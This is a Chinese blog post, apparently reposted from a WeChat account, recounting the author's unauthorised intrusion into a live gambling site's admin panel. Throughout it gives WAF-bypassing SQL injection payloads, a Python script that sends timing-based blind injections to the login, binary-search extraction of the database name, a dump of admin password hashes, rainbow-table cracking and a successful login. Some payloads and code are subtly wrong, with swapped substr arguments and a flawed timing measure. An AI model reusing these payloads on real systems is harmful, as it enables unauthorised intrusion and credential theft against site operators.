进入网络博彩后台我惊呆了

一位朋友在某博彩平台输了很多钱,找到我,问我能不能帮他攻击进该平台追回输的钱。于是有了此文

凭借多年的单身经验,很快,我找到了博彩平台管理后台登录地址:/admin/login,然后我随便输入一个账号和密码,提示“用户或密码错误”

进入网络博彩后台我惊呆了

 

这里我没有头绪了, 系统的安全性好像做的很好,我连账号都没办法确定,因为他提示“账号或密码错误”,而不是`密码错误`或在`账号不存在`

然后我尝试进行SQL注入,当我输入一下payload时,都提示“发现SQL注入”

or '1'='1or 'a'='aor 888=888and 999=999and 'abc'='abc

进入网络博彩后台我惊呆了

当我输入 or/**/'1'='1的时候,竟然不提示`发现SQL注入`了,只能说运气比较好吧。

进入网络博彩后台我惊呆了

由于提示的是`用户或密码错误`,所以不能通过观察响应内容来判断是否存在注入,所以我想用时间延迟来碰碰运气。

当使用sleep()函数又提示`发现SQL注入`,改成大写的SLEEP()也一样

进入网络博彩后台我惊呆了

sleep()被拦截了,难道benchmark()也被拦吗?

进入网络博彩后台我惊呆了

我尝试了下benchmark()

进入网络博彩后台我惊呆了果然没出意外,改成大写的BENCHMARK()结果也一样,这让我有点蛋碎的感觉。

但在fuzz的过程中,我发现一个有意思的东西。

当我输入admin' and/**/1=1--+,大家注意burp的右下角的响应时间。

进入网络博彩后台我惊呆了

当我输入admin' and/**/1=2--+

进入网络博彩后台我惊呆了

admin' and/**/'1'='1 响应时间262毫秒admin' and/**/'1'='2 响应时间14毫秒

巨大的时间差距,我好像发现了新大陆。为了排除网络波动的原因,我反复测试了几次,结果都是一致的。当and条件为真,响应时间200毫秒以上,当and条件为假时,响应都在10毫秒以内。所以,证明这里是存在注入的。

然后我突然意识到,admin用户是存在的,因为我用的是and而不是or。

然后提交两个不同的用户名:admin和djsiajdsam

username=admin,响应时间242毫秒

进入网络博彩后台我惊呆了

username=djsiajdsam, 响应时间只有3毫秒

进入网络博彩后台我惊呆了

然后用admin' and length(database())来判断当前数据库名的长度

进入网络博彩后台我惊呆了

编写了一个简单的脚本

import time,requestsdef calculate_response_time(url,username):    start_time = time.time()  # 记录开始时间    data={"username":username,"password":"adminadmin123"}    response = requests.post(url=url,data=data)    timespend = response.elapsed.microseconds    return timespend

if __name__ == "__main__":    url = "https://xxxxx.com/admin/login"    for i in range(1,10):        username = f"admin' and/**/length(database())>{i}--+"        print(username)        response_time = calculate_response_time(url,username)        print(response_time)        time.sleep(1)

但是结果让我感到很疑惑,因为不论length(database())大于多少,响应时间都相差不大。。

进入网络博彩后台我惊呆了

没有办法,只能手工一点一点磨了,真让人懊恼

当length(database())>8时,响应时长为280

进入网络博彩后台我惊呆了

当length(database())>9时,响应时长为8

进入网络博彩后台我惊呆了

由此可以断定当前数据库长度为9

接着就是用substr来获取数据库名

admin' and ascii(substr(1,1,database())))

字符的ascii码范围从32到127,127是delete键,所以到126为止。

进入网络博彩后台我惊呆了

通过二分法,提升盲注的效率

(32+126)/2=79admin'+and/**/ascii(substr(database(),1,1))>79--+ 响应:275ms
(79+126)/2=102.5admin'+and/**/ascii(substr(database(),1,1))>102--+ 响应:268ms
(102+126)/2=114admin' and/**/ascii(substr(database(),1,1))>114--+ 响应:5ms
(102+114)/2=108admin' and/**/ascii(substr(database(),1,1))>108--+ 响应:5ms
(102+108)/2=105admin' and/**/ascii(substr(database(),1,1))>105--+ 响应:5ms
(102+105)/2=103admin' and/**/ascii(substr(database(),1,1))>103--+ 响应:282ms
(103+105)/2=104admin' and/**/ascii(substr(database(),1,1))>104--+ 响应:5m

至此,当前数据库的第一位字符的ascii码为104,对照ascii码表为h

admin' and/**/ascii(substr(database(),2,1))admin' and/**/ascii(substr(database(),3,1))admin' and/**/ascii(substr(database(),4,1))admin' and/**/ascii(substr(database(),5,1))admin' and/**/ascii(substr(database(),6,1))admin' and/**/ascii(substr(database(),7,1))admin' and/**/ascii(substr(database(),8,1))

以此类推,注入出当前数据库名:hule_aibo

后面通过information.schema数据库注入出当前数据库的所有的表名称。历经一整天的时间,纯人工盲注,最终得到了hule_aibo数据库的hule_admin表中的admin、chengfang、wangjiandong1994的hash密码。不幸中的万幸,通过彩虹表碰撞出了wangjiandong1994的密码明文。

进入网络博彩后台我惊呆了

登录后台,当我看到充值金额,我惊呆了,从2023年4月以来,该站充值成功金额竟然高达百万,果然暴利的项目都写在刑法里。。但比较可惜的是,拿下后台并不能帮助朋友追回输掉的钱。

我不知道后端发生了什么?但可以确定的是,当用户存在的时候,后端逻辑做了一些事情,导致响应时间变长。当用户不存在的时候,后端没有做这个耗时的事情。而这个耗时的事情,大概率可能是复杂的加密算法运算逻辑。

最后打个小广告,我的“web漏洞靶场开发”课程将在本周四、五在freebuf上线。本课程为安全成长之路第一站,适合“欠缺软件安全设计的开发者、白帽子、应用安全工程师”。通过自己开发和设计,了解漏洞背后的本质。漏洞到底是设计逻辑还是危险函数导致?

第一节录制课可以免费试听,有兴趣的小伙伴在试听课上传到freebuf公开课之后(预计周五),搜索“web漏洞靶场开发”观看。

原文始发于微信公众号(信息安全笔记):进入网络博彩后台我惊呆了

版权声明:admin 发表于 2023年10月25日 上午7:30。
转载请注明:进入网络博彩后台我惊呆了 | CTF导航

相关文章

暂无评论

暂无评论...